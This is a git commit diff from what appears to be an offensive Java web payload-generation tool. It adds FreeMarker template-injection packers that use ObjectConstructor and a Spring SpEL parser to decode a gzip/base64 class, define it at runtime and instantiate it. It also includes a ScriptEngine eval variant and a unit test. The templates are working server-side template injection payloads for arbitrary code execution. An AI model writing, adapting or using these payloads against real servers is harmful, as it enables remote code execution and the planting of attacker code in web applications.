feat: support Freemarker SpEL packer

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
 import com.reajason.javaweb.packer.deserialize.java.*;
 import com.reajason.javaweb.packer.el.ELPacker;
 import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
+import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
+import com.reajason.javaweb.packer.freemarker.FreemarkerSpELJDK17Packer;
+import com.reajason.javaweb.packer.freemarker.FreemarkerSpELPacker;
 import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
 import com.reajason.javaweb.packer.groovy.GroovyPacker;
 import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
@@ -142,6 +145,9 @@ public enum Packers {
     GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
 
     Freemarker(new FreemarkerPacker()),
+    FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
+    FreemarkerSpEL(new FreemarkerSpELPacker(), FreemarkerPacker.class),
+    FreemarkerSpELJDK17(new FreemarkerSpELJDK17Packer(), FreemarkerPacker.class),
     Velocity(new VelocityPacker()),
     JinJava(new JinJavaPacker()),
     XMLDecoder(new XMLDecoderPacker()),

packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerPacker.java

@@ -1,19 +1,10 @@
 package com.reajason.javaweb.packer.freemarker;
 
-import com.reajason.javaweb.packer.ClassPackerConfig;
-import com.reajason.javaweb.packer.Packer;
-import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.packer.AggregatePacker;
 
 /**
  * @author ReaJason
  * @since 2024/12/13
  */
-public class FreemarkerPacker implements Packer {
-    String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
-
-    @Override
-    public String pack(ClassPackerConfig config) {
-        String script = Packers.ScriptEngine.getInstance().pack(config);
-        return template.replace("{{script}}", script);
-    }
+public class FreemarkerPacker implements AggregatePacker {
 }

packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerScriptEnginePacker.java

@@ -0,0 +1,19 @@
+package com.reajason.javaweb.packer.freemarker;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class FreemarkerScriptEnginePacker implements Packer {
+    String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
+
+    @Override
+    public String pack(ClassPackerConfig config) {
+        String script = Packers.ScriptEngine.getInstance().pack(config);
+        return template.replace("{{script}}", script);
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELJDK17Packer.java

@@ -0,0 +1,25 @@
+package com.reajason.javaweb.packer.freemarker;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
+
+/**
+ * JDK 17-compatible FreeMarker/SpEL class-definition payload.
+ *
+ * @author ReaJason
+ * @since 2026/8/30
+ */
+public class FreemarkerSpELJDK17Packer implements Packer {
+    String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
+
+    @Override
+    public String pack(ClassPackerConfig config) {
+        String className = config.getClassName();
+        assertClassNameValid(className);
+        return template.replace("{{className}}", className)
+                .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELPacker.java

@@ -0,0 +1,22 @@
+package com.reajason.javaweb.packer.freemarker;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+/**
+ * Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
+ * compressed class-definition expression.
+ *
+ * @author ReaJason
+ * @since 2026/8/30
+ */
+public class FreemarkerSpELPacker implements Packer {
+    String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
+
+    @Override
+    public String pack(ClassPackerConfig config) {
+        return template.replace("{{className}}", config.getClassName())
+                .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
+    }
+}

packer/src/test/java/com/reajason/javaweb/packer/freemarker/FreemarkerSpELPackerTest.java

@@ -0,0 +1,43 @@
+package com.reajason.javaweb.packer.freemarker;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import org.junit.jupiter.api.Test;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class FreemarkerSpELPackerTest {
+
+    private static ClassPackerConfig config(String className) {
+        ClassPackerConfig config = new ClassPackerConfig();
+        byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
+        config.setClassName(className);
+        config.setClassBytes(classBytes);
+        config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
+        return config;
+    }
+
+    @Test
+    void pack() {
+        String payload = new FreemarkerSpELPacker().pack(config("com.example.Test"));
+
+        assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()"));
+        assertTrue(payload.contains("SpelExpressionParser"));
+        assertTrue(payload.contains("Base64Utils"));
+        assertTrue(payload.contains("GZIPInputStream"));
+        assertTrue(payload.contains("com.example.Test"));
+    }
+
+    @Test
+    void packJdk17() {
+        FreemarkerSpELJDK17Packer packer = new FreemarkerSpELJDK17Packer();
+
+        assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test")));
+        assertThrows(UnsupportedOperationException.class,
+                () -> packer.pack(config("com.example.Test")));
+    }
+}